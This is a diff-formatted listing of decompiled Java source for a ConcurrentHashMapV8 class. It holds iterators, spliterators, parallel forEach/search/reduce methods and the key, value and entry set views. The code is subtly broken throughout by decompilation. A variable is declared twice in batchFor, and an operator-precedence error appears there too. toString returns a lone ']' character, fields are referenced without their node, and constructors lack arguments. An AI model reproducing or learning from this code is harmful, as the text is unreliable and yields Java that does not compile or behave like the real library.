+    ConcurrentHashMapV8.Node<K, V> lastReturned;
+    
+    BaseIterator(ConcurrentHashMapV8.Node<K, V>[] tab, int size, int index, int limit, ConcurrentHashMapV8<K, V> map)
+    {
+      super(size, index, limit);
+      this.map = map;
+      advance();
+    }
+    
+    public final boolean hasNext() { return next != null; }
+    public final boolean hasMoreElements() { return next != null; }
+    
+    public final void remove() {
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = lastReturned) == null)
+        throw new IllegalStateException();
+      lastReturned = null;
+      map.replaceNode(key, null, null);
+    }
+  }
+  
+  static final class KeyIterator<K, V> extends ConcurrentHashMapV8.BaseIterator<K, V> implements Iterator<K>, Enumeration<K>
+  {
+    KeyIterator(ConcurrentHashMapV8.Node<K, V>[] tab, int index, int size, int limit, ConcurrentHashMapV8<K, V> map)
+    {
+      super(index, size, limit, map);
+    }
+    
+    public final K next() {
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = next) == null)
+        throw new NoSuchElementException();
+      K k = key;
+      lastReturned = p;
+      advance();
+      return k;
+    }
+    
+    public final K nextElement() { return next(); }
+  }
+  
+  static final class ValueIterator<K, V> extends ConcurrentHashMapV8.BaseIterator<K, V> implements Iterator<V>, Enumeration<V>
+  {
+    ValueIterator(ConcurrentHashMapV8.Node<K, V>[] tab, int index, int size, int limit, ConcurrentHashMapV8<K, V> map)
+    {
+      super(index, size, limit, map);
+    }
+    
+    public final V next() {
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = next) == null)
+        throw new NoSuchElementException();
+      V v = val;
+      lastReturned = p;
+      advance();
+      return v;
+    }
+    
+    public final V nextElement() { return next(); }
+  }
+  
+  static final class EntryIterator<K, V> extends ConcurrentHashMapV8.BaseIterator<K, V> implements Iterator<Map.Entry<K, V>>
+  {
+    EntryIterator(ConcurrentHashMapV8.Node<K, V>[] tab, int index, int size, int limit, ConcurrentHashMapV8<K, V> map)
+    {
+      super(index, size, limit, map);
+    }
+    
+    public final Map.Entry<K, V> next() {
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = next) == null)
+        throw new NoSuchElementException();
+      K k = key;
+      V v = val;
+      lastReturned = p;
+      advance();
+      return new ConcurrentHashMapV8.MapEntry(k, v, map);
+    }
+  }
+  
+  static final class MapEntry<K, V> implements Map.Entry<K, V>
+  {
+    final K key;
+    V val;
+    final ConcurrentHashMapV8<K, V> map;
+    
+    MapEntry(K key, V val, ConcurrentHashMapV8<K, V> map)
+    {
+      this.key = key;
+      this.val = val;
+      this.map = map; }
+    
+    public K getKey() { return key; }
+    public V getValue() { return val; }
+    public int hashCode() { return key.hashCode() ^ val.hashCode(); }
+    public String toString() { return key + "=" + val; }
+    
+    public boolean equals(Object o) { Map.Entry<?, ?> e;
+      Object k;
+      Object v; return ((o instanceof Map.Entry)) && ((k = (e = (Map.Entry)o).getKey()) != null) && ((v = e.getValue()) != null) && ((k == key) || (k.equals(key))) && ((v == val) || (v.equals(val)));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public V setValue(V value)
+    {
+      if (value == null) throw new NullPointerException();
+      V v = val;
+      val = value;
+      map.put(key, value);
+      return v;
+    }
+  }
+  
+  static final class KeySpliterator<K, V> extends ConcurrentHashMapV8.Traverser<K, V> implements ConcurrentHashMapV8.ConcurrentHashMapSpliterator<K>
+  {
+    long est;
+    
+    KeySpliterator(ConcurrentHashMapV8.Node<K, V>[] tab, int size, int index, int limit, long est) {
+      super(size, index, limit);
+      this.est = est; }
+    
+    public ConcurrentHashMapV8.ConcurrentHashMapSpliterator<K> trySplit() { int i;
+      int f;
+      int h;
+      return (h = (i = baseIndex) + (f = baseLimit) >>> 1) <= i ? null : new KeySpliterator(tab, baseSize, this.baseLimit = h, f, this.est >>>= 1);
+    }
+    
+
+    public void forEachRemaining(ConcurrentHashMapV8.Action<? super K> action)
+    {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null)
+        action.apply(key);
+    }
+    
+    public boolean tryAdvance(ConcurrentHashMapV8.Action<? super K> action) {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = advance()) == null)
+        return false;
+      action.apply(key);
+      return true;
+    }
+    
+    public long estimateSize() { return est; }
+  }
+  
+  static final class ValueSpliterator<K, V> extends ConcurrentHashMapV8.Traverser<K, V> implements ConcurrentHashMapV8.ConcurrentHashMapSpliterator<V>
+  {
+    long est;
+    
+    ValueSpliterator(ConcurrentHashMapV8.Node<K, V>[] tab, int size, int index, int limit, long est)
+    {
+      super(size, index, limit);
+      this.est = est; }
+    
+    public ConcurrentHashMapV8.ConcurrentHashMapSpliterator<V> trySplit() { int i;
+      int f;
+      int h;
+      return (h = (i = baseIndex) + (f = baseLimit) >>> 1) <= i ? null : new ValueSpliterator(tab, baseSize, this.baseLimit = h, f, this.est >>>= 1);
+    }
+    
+
+    public void forEachRemaining(ConcurrentHashMapV8.Action<? super V> action)
+    {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null)
+        action.apply(val);
+    }
+    
+    public boolean tryAdvance(ConcurrentHashMapV8.Action<? super V> action) {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = advance()) == null)
+        return false;
+      action.apply(val);
+      return true;
+    }
+    
+    public long estimateSize() { return est; }
+  }
+  
+  static final class EntrySpliterator<K, V> extends ConcurrentHashMapV8.Traverser<K, V> implements ConcurrentHashMapV8.ConcurrentHashMapSpliterator<Map.Entry<K, V>>
+  {
+    final ConcurrentHashMapV8<K, V> map;
+    long est;
+    
+    EntrySpliterator(ConcurrentHashMapV8.Node<K, V>[] tab, int size, int index, int limit, long est, ConcurrentHashMapV8<K, V> map)
+    {
+      super(size, index, limit);
+      this.map = map;
+      this.est = est; }
+    
+    public ConcurrentHashMapV8.ConcurrentHashMapSpliterator<Map.Entry<K, V>> trySplit() { int i;
+      int f;
+      int h;
+      return (h = (i = baseIndex) + (f = baseLimit) >>> 1) <= i ? null : new EntrySpliterator(tab, baseSize, this.baseLimit = h, f, this.est >>>= 1, map);
+    }
+    
+
+    public void forEachRemaining(ConcurrentHashMapV8.Action<? super Map.Entry<K, V>> action)
+    {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null)
+        action.apply(new ConcurrentHashMapV8.MapEntry(key, val, map));
+    }
+    
+    public boolean tryAdvance(ConcurrentHashMapV8.Action<? super Map.Entry<K, V>> action) {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V> p;
+      if ((p = advance()) == null)
+        return false;
+      action.apply(new ConcurrentHashMapV8.MapEntry(key, val, map));
+      return true;
+    }
+    
+    public long estimateSize() { return est; }
+  }
+  
+
+
+
+
+
+  final int batchFor(long b)
+  {
+    long n;
+    
+
+
+
+
+    if ((b == Long.MAX_VALUE) || ((n = sumCount()) <= 1L) || (n < b))
+      return 0;
+    long n; int sp = ForkJoinPool.getCommonPoolParallelism() << 2;
+    return (b <= 0L) || (n /= b >= sp) ? sp : (int)n;
+  }
+  
+
+
+
+
+
+
+
+
+  public void forEach(long parallelismThreshold, BiAction<? super K, ? super V> action)
+  {
+    if (action == null) throw new NullPointerException();
+    new ForEachMappingTask(null, batchFor(parallelismThreshold), 0, 0, table, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> void forEach(long parallelismThreshold, BiFun<? super K, ? super V, ? extends U> transformer, Action<? super U> action)
+  {
+    if ((transformer == null) || (action == null))
+      throw new NullPointerException();
+    new ForEachTransformedMappingTask(null, batchFor(parallelismThreshold), 0, 0, table, transformer, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U search(long parallelismThreshold, BiFun<? super K, ? super V, ? extends U> searchFunction)
+  {
+    if (searchFunction == null) throw new NullPointerException();
+    return new SearchMappingsTask(null, batchFor(parallelismThreshold), 0, 0, table, searchFunction, new AtomicReference()).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U reduce(long parallelismThreshold, BiFun<? super K, ? super V, ? extends U> transformer, BiFun<? super U, ? super U, ? extends U> reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return new MapReduceMappingsTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double reduceToDouble(long parallelismThreshold, ObjectByObjectToDouble<? super K, ? super V> transformer, double basis, DoubleByDoubleToDouble reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Double)new MapReduceMappingsToDoubleTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).doubleValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public long reduceToLong(long parallelismThreshold, ObjectByObjectToLong<? super K, ? super V> transformer, long basis, LongByLongToLong reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Long)new MapReduceMappingsToLongTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).longValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int reduceToInt(long parallelismThreshold, ObjectByObjectToInt<? super K, ? super V> transformer, int basis, IntByIntToInt reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Integer)new MapReduceMappingsToIntTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).intValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void forEachKey(long parallelismThreshold, Action<? super K> action)
+  {
+    if (action == null) throw new NullPointerException();
+    new ForEachKeyTask(null, batchFor(parallelismThreshold), 0, 0, table, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> void forEachKey(long parallelismThreshold, Fun<? super K, ? extends U> transformer, Action<? super U> action)
+  {
+    if ((transformer == null) || (action == null))
+      throw new NullPointerException();
+    new ForEachTransformedKeyTask(null, batchFor(parallelismThreshold), 0, 0, table, transformer, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U searchKeys(long parallelismThreshold, Fun<? super K, ? extends U> searchFunction)
+  {
+    if (searchFunction == null) throw new NullPointerException();
+    return new SearchKeysTask(null, batchFor(parallelismThreshold), 0, 0, table, searchFunction, new AtomicReference()).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public K reduceKeys(long parallelismThreshold, BiFun<? super K, ? super K, ? extends K> reducer)
+  {
+    if (reducer == null) throw new NullPointerException();
+    return new ReduceKeysTask(null, batchFor(parallelismThreshold), 0, 0, table, null, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U reduceKeys(long parallelismThreshold, Fun<? super K, ? extends U> transformer, BiFun<? super U, ? super U, ? extends U> reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return new MapReduceKeysTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double reduceKeysToDouble(long parallelismThreshold, ObjectToDouble<? super K> transformer, double basis, DoubleByDoubleToDouble reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Double)new MapReduceKeysToDoubleTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).doubleValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public long reduceKeysToLong(long parallelismThreshold, ObjectToLong<? super K> transformer, long basis, LongByLongToLong reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Long)new MapReduceKeysToLongTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).longValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int reduceKeysToInt(long parallelismThreshold, ObjectToInt<? super K> transformer, int basis, IntByIntToInt reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Integer)new MapReduceKeysToIntTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).intValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void forEachValue(long parallelismThreshold, Action<? super V> action)
+  {
+    if (action == null)
+      throw new NullPointerException();
+    new ForEachValueTask(null, batchFor(parallelismThreshold), 0, 0, table, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> void forEachValue(long parallelismThreshold, Fun<? super V, ? extends U> transformer, Action<? super U> action)
+  {
+    if ((transformer == null) || (action == null))
+      throw new NullPointerException();
+    new ForEachTransformedValueTask(null, batchFor(parallelismThreshold), 0, 0, table, transformer, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U searchValues(long parallelismThreshold, Fun<? super V, ? extends U> searchFunction)
+  {
+    if (searchFunction == null) throw new NullPointerException();
+    return new SearchValuesTask(null, batchFor(parallelismThreshold), 0, 0, table, searchFunction, new AtomicReference()).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public V reduceValues(long parallelismThreshold, BiFun<? super V, ? super V, ? extends V> reducer)
+  {
+    if (reducer == null) throw new NullPointerException();
+    return new ReduceValuesTask(null, batchFor(parallelismThreshold), 0, 0, table, null, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U reduceValues(long parallelismThreshold, Fun<? super V, ? extends U> transformer, BiFun<? super U, ? super U, ? extends U> reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return new MapReduceValuesTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double reduceValuesToDouble(long parallelismThreshold, ObjectToDouble<? super V> transformer, double basis, DoubleByDoubleToDouble reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Double)new MapReduceValuesToDoubleTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).doubleValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public long reduceValuesToLong(long parallelismThreshold, ObjectToLong<? super V> transformer, long basis, LongByLongToLong reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Long)new MapReduceValuesToLongTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).longValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int reduceValuesToInt(long parallelismThreshold, ObjectToInt<? super V> transformer, int basis, IntByIntToInt reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Integer)new MapReduceValuesToIntTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).intValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void forEachEntry(long parallelismThreshold, Action<? super Map.Entry<K, V>> action)
+  {
+    if (action == null) throw new NullPointerException();
+    new ForEachEntryTask(null, batchFor(parallelismThreshold), 0, 0, table, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> void forEachEntry(long parallelismThreshold, Fun<Map.Entry<K, V>, ? extends U> transformer, Action<? super U> action)
+  {
+    if ((transformer == null) || (action == null))
+      throw new NullPointerException();
+    new ForEachTransformedEntryTask(null, batchFor(parallelismThreshold), 0, 0, table, transformer, action).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U searchEntries(long parallelismThreshold, Fun<Map.Entry<K, V>, ? extends U> searchFunction)
+  {
+    if (searchFunction == null) throw new NullPointerException();
+    return new SearchEntriesTask(null, batchFor(parallelismThreshold), 0, 0, table, searchFunction, new AtomicReference()).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map.Entry<K, V> reduceEntries(long parallelismThreshold, BiFun<Map.Entry<K, V>, Map.Entry<K, V>, ? extends Map.Entry<K, V>> reducer)
+  {
+    if (reducer == null) throw new NullPointerException();
+    return (Map.Entry)new ReduceEntriesTask(null, batchFor(parallelismThreshold), 0, 0, table, null, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <U> U reduceEntries(long parallelismThreshold, Fun<Map.Entry<K, V>, ? extends U> transformer, BiFun<? super U, ? super U, ? extends U> reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return new MapReduceEntriesTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, reducer).invoke();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double reduceEntriesToDouble(long parallelismThreshold, ObjectToDouble<Map.Entry<K, V>> transformer, double basis, DoubleByDoubleToDouble reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Double)new MapReduceEntriesToDoubleTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).doubleValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public long reduceEntriesToLong(long parallelismThreshold, ObjectToLong<Map.Entry<K, V>> transformer, long basis, LongByLongToLong reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Long)new MapReduceEntriesToLongTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).longValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int reduceEntriesToInt(long parallelismThreshold, ObjectToInt<Map.Entry<K, V>> transformer, int basis, IntByIntToInt reducer)
+  {
+    if ((transformer == null) || (reducer == null))
+      throw new NullPointerException();
+    return ((Integer)new MapReduceEntriesToIntTask(null, batchFor(parallelismThreshold), 0, 0, table, null, transformer, basis, reducer).invoke()).intValue();
+  }
+  
+
+  static abstract class CollectionView<K, V, E>
+    implements Collection<E>, Serializable
+  {
+    private static final long serialVersionUID = 7249069246763182397L;
+    
+    final ConcurrentHashMapV8<K, V> map;
+    
+    private static final String oomeMsg = "Required array size too large";
+    
+    CollectionView(ConcurrentHashMapV8<K, V> map)
+    {
+      this.map = map;
+    }
+    
+
+
+    public ConcurrentHashMapV8<K, V> getMap()
+    {
+      return map;
+    }
+    
+
+
+
+    public final void clear() { map.clear(); }
+    public final int size() { return map.size(); }
+    public final boolean isEmpty() { return map.isEmpty(); }
+    
+
+
+
+    public abstract Iterator<E> iterator();
+    
+
+
+    public abstract boolean contains(Object paramObject);
+    
+
+
+    public abstract boolean remove(Object paramObject);
+    
+
+
+    public final Object[] toArray()
+    {
+      long sz = map.mappingCount();
+      if (sz > 2147483639L)
+        throw new OutOfMemoryError("Required array size too large");
+      int n = (int)sz;
+      Object[] r = new Object[n];
+      int i = 0;
+      for (E e : this) {
+        if (i == n) {
+          if (n >= 2147483639)
+            throw new OutOfMemoryError("Required array size too large");
+          if (n >= 1073741819) {
+            n = 2147483639;
+          } else
+            n += (n >>> 1) + 1;
+          r = Arrays.copyOf(r, n);
+        }
+        r[(i++)] = e;
+      }
+      return i == n ? r : Arrays.copyOf(r, i);
+    }
+    
+    public final <T> T[] toArray(T[] a)
+    {
+      long sz = map.mappingCount();
+      if (sz > 2147483639L)
+        throw new OutOfMemoryError("Required array size too large");
+      int m = (int)sz;
+      T[] r = a.length >= m ? a : (Object[])Array.newInstance(a.getClass().getComponentType(), m);
+      
+
+      int n = r.length;
+      int i = 0;
+      for (E e : this) {
+        if (i == n) {
+          if (n >= 2147483639)
+            throw new OutOfMemoryError("Required array size too large");
+          if (n >= 1073741819) {
+            n = 2147483639;
+          } else
+            n += (n >>> 1) + 1;
+          r = Arrays.copyOf(r, n);
+        }
+        r[(i++)] = e;
+      }
+      if ((a == r) && (i < n)) {
+        r[i] = null;
+        return r;
+      }
+      return i == n ? r : Arrays.copyOf(r, i);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public final String toString()
+    {
+      StringBuilder sb = new StringBuilder();
+      sb.append('[');
+      Iterator<E> it = iterator();
+      if (it.hasNext()) {
+        for (;;) {
+          Object e = it.next();
+          sb.append(e == this ? "(this Collection)" : e);
+          if (!it.hasNext())
+            break;
+          sb.append(',').append(' ');
+        }
+      }
+      return ']';
+    }
+    
+    public final boolean containsAll(Collection<?> c) {
+      if (c != this) {
+        for (Object e : c) {
+          if ((e == null) || (!contains(e)))
+            return false;
+        }
+      }
+      return true;
+    }
+    
+    public final boolean removeAll(Collection<?> c) {
+      boolean modified = false;
+      for (Iterator<E> it = iterator(); it.hasNext();) {
+        if (c.contains(it.next())) {
+          it.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public final boolean retainAll(Collection<?> c) {
+      boolean modified = false;
+      for (Iterator<E> it = iterator(); it.hasNext();) {
+        if (!c.contains(it.next())) {
+          it.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+  }
+  
+
+
+
+  public static class KeySetView<K, V>
+    extends ConcurrentHashMapV8.CollectionView<K, V, K>
+    implements Set<K>, Serializable
+  {
+    private static final long serialVersionUID = 7249069246763182397L;
+    
+
+
+    private final V value;
+    
+
+
+    KeySetView(ConcurrentHashMapV8<K, V> map, V value)
+    {
+      super();
+      this.value = value;
+    }
+    
+
+
+
+
+
+    public V getMappedValue()
+    {
+      return value;
+    }
+    
+
+    public boolean contains(Object o)
+    {
+      return map.containsKey(o);
+    }
+    
+
+
+
+
+
+
+    public boolean remove(Object o)
+    {
+      return map.remove(o) != null;
+    }
+    
+
+
+    public Iterator<K> iterator()
+    {
+      ConcurrentHashMapV8<K, V> m = map;
+      ConcurrentHashMapV8.Node<K, V>[] t; int f = (t = table) == null ? 0 : t.length;
+      return new ConcurrentHashMapV8.KeyIterator(t, f, 0, f, m);
+    }
+    
+
+
+
+
+
+    public boolean add(K e)
+    {
+      V v;
+      
+
+
+
+      if ((v = value) == null)
+        throw new UnsupportedOperationException();
+      return map.putVal(e, v, true) == null;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public boolean addAll(Collection<? extends K> c)
+    {
+      boolean added = false;
+      V v;
+      if ((v = value) == null)
+        throw new UnsupportedOperationException();
+      for (K e : c) {
+        if (map.putVal(e, v, true) == null)
+          added = true;
+      }
+      return added;
+    }
+    
+    public int hashCode() {
+      int h = 0;
+      for (K e : this)
+        h += e.hashCode();
+      return h;
+    }
+    
+    public boolean equals(Object o) {
+      Set<?> c;
+      return ((o instanceof Set)) && (((c = (Set)o) == this) || ((containsAll(c)) && (c.containsAll(this))));
+    }
+    
+
+
+    public ConcurrentHashMapV8.ConcurrentHashMapSpliterator<K> spliterator166()
+    {
+      ConcurrentHashMapV8<K, V> m = map;
+      long n = m.sumCount();
+      ConcurrentHashMapV8.Node<K, V>[] t; int f = (t = table) == null ? 0 : t.length;
+      return new ConcurrentHashMapV8.KeySpliterator(t, f, 0, f, n < 0L ? 0L : n);
+    }
+    
+    public void forEach(ConcurrentHashMapV8.Action<? super K> action) {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V>[] t;
+      if ((t = map.table) != null) {
+        ConcurrentHashMapV8.Traverser<K, V> it = new ConcurrentHashMapV8.Traverser(t, t.length, 0, t.length);
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = it.advance()) != null) {
+          action.apply(key);
+        }
+      }
+    }
+  }
+  
+
+  static final class ValuesView<K, V>
+    extends ConcurrentHashMapV8.CollectionView<K, V, V>
+    implements Collection<V>, Serializable
+  {
+    private static final long serialVersionUID = 2249069246763182397L;
+    
+    ValuesView(ConcurrentHashMapV8<K, V> map) { super(); }
+    
+    public final boolean contains(Object o) { return map.containsValue(o); }
+    
+    public final boolean remove(Object o) {
+      Iterator<V> it;
+      if (o != null) {
+        for (it = iterator(); it.hasNext();) {
+          if (o.equals(it.next())) {
+            it.remove();
+            return true;
+          }
+        }
+      }
+      return false;
+    }
+    
+    public final Iterator<V> iterator() {
+      ConcurrentHashMapV8<K, V> m = map;
+      ConcurrentHashMapV8.Node<K, V>[] t;
+      int f = (t = table) == null ? 0 : t.length;
+      return new ConcurrentHashMapV8.ValueIterator(t, f, 0, f, m);
+    }
+    
+    public final boolean add(V e) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public final boolean addAll(Collection<? extends V> c) { throw new UnsupportedOperationException(); }
+    
+
+    public ConcurrentHashMapV8.ConcurrentHashMapSpliterator<V> spliterator166()
+    {
+      ConcurrentHashMapV8<K, V> m = map;
+      long n = m.sumCount();
+      ConcurrentHashMapV8.Node<K, V>[] t; int f = (t = table) == null ? 0 : t.length;
+      return new ConcurrentHashMapV8.ValueSpliterator(t, f, 0, f, n < 0L ? 0L : n);
+    }
+    
+    public void forEach(ConcurrentHashMapV8.Action<? super V> action) {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V>[] t;
+      if ((t = map.table) != null) {
+        ConcurrentHashMapV8.Traverser<K, V> it = new ConcurrentHashMapV8.Traverser(t, t.length, 0, t.length);
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = it.advance()) != null) {
+          action.apply(val);
+        }
+      }
+    }
+  }
+  
+
+  static final class EntrySetView<K, V>
+    extends ConcurrentHashMapV8.CollectionView<K, V, Map.Entry<K, V>>
+    implements Set<Map.Entry<K, V>>, Serializable
+  {
+    private static final long serialVersionUID = 2249069246763182397L;
+    
+    EntrySetView(ConcurrentHashMapV8<K, V> map) { super(); }
+    
+    public boolean contains(Object o) { Map.Entry<?, ?> e;
+      Object k;
+      Object r; Object v; return ((o instanceof Map.Entry)) && ((k = (e = (Map.Entry)o).getKey()) != null) && ((r = map.get(k)) != null) && ((v = e.getValue()) != null) && ((v == r) || (v.equals(r)));
+    }
+    
+
+    public boolean remove(Object o)
+    {
+      Map.Entry<?, ?> e;
+      Object k;
+      Object v;
+      return ((o instanceof Map.Entry)) && ((k = (e = (Map.Entry)o).getKey()) != null) && ((v = e.getValue()) != null) && (map.remove(k, v));
+    }
+    
+
+
+
+
+
+    public Iterator<Map.Entry<K, V>> iterator()
+    {
+      ConcurrentHashMapV8<K, V> m = map;
+      ConcurrentHashMapV8.Node<K, V>[] t;
+      int f = (t = table) == null ? 0 : t.length;
+      return new ConcurrentHashMapV8.EntryIterator(t, f, 0, f, m);
+    }
+    
+    public boolean add(Map.Entry<K, V> e) {
+      return map.putVal(e.getKey(), e.getValue(), false) == null;
+    }
+    
+    public boolean addAll(Collection<? extends Map.Entry<K, V>> c) {
+      boolean added = false;
+      for (Map.Entry<K, V> e : c) {
+        if (add(e))
+          added = true;
+      }
+      return added;
+    }
+    
+    public final int hashCode() {
+      int h = 0;
+      ConcurrentHashMapV8.Node<K, V>[] t;
+      if ((t = map.table) != null) {
+        ConcurrentHashMapV8.Traverser<K, V> it = new ConcurrentHashMapV8.Traverser(t, t.length, 0, t.length);
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = it.advance()) != null) {
+          h += p.hashCode();
+        }
+      }
+      return h;
+    }
+    
+    public final boolean equals(Object o) {
+      Set<?> c;
+      return ((o instanceof Set)) && (((c = (Set)o) == this) || ((containsAll(c)) && (c.containsAll(this))));
+    }
+    
+
+
+    public ConcurrentHashMapV8.ConcurrentHashMapSpliterator<Map.Entry<K, V>> spliterator166()
+    {
+      ConcurrentHashMapV8<K, V> m = map;
+      long n = m.sumCount();
+      ConcurrentHashMapV8.Node<K, V>[] t; int f = (t = table) == null ? 0 : t.length;
+      return new ConcurrentHashMapV8.EntrySpliterator(t, f, 0, f, n < 0L ? 0L : n, m);
+    }
+    
+    public void forEach(ConcurrentHashMapV8.Action<? super Map.Entry<K, V>> action) {
+      if (action == null) throw new NullPointerException();
+      ConcurrentHashMapV8.Node<K, V>[] t;
+      if ((t = map.table) != null) {
+        ConcurrentHashMapV8.Traverser<K, V> it = new ConcurrentHashMapV8.Traverser(t, t.length, 0, t.length);
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = it.advance()) != null) {
+          action.apply(new ConcurrentHashMapV8.MapEntry(key, val, map));
+        }
+      }
+    }
+  }
+  
+
+  static abstract class BulkTask<K, V, R>
+    extends CountedCompleter<R>
+  {
+    ConcurrentHashMapV8.Node<K, V>[] tab;
+    
+    ConcurrentHashMapV8.Node<K, V> next;
+    
+    int index;
+    int baseIndex;
+    int baseLimit;
+    final int baseSize;
+    int batch;
+    
+    BulkTask(BulkTask<K, V, ?> par, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t)
+    {
+      super();
+      batch = b;
+      index = (this.baseIndex = i);
+      if ((this.tab = t) == null) {
+        baseSize = (this.baseLimit = 0);
+      } else if (par == null) {
+        baseSize = (this.baseLimit = t.length);
+      } else {
+        baseLimit = f;
+        baseSize = baseSize;
+      }
+    }
+    
+
+    final ConcurrentHashMapV8.Node<K, V> advance()
+    {
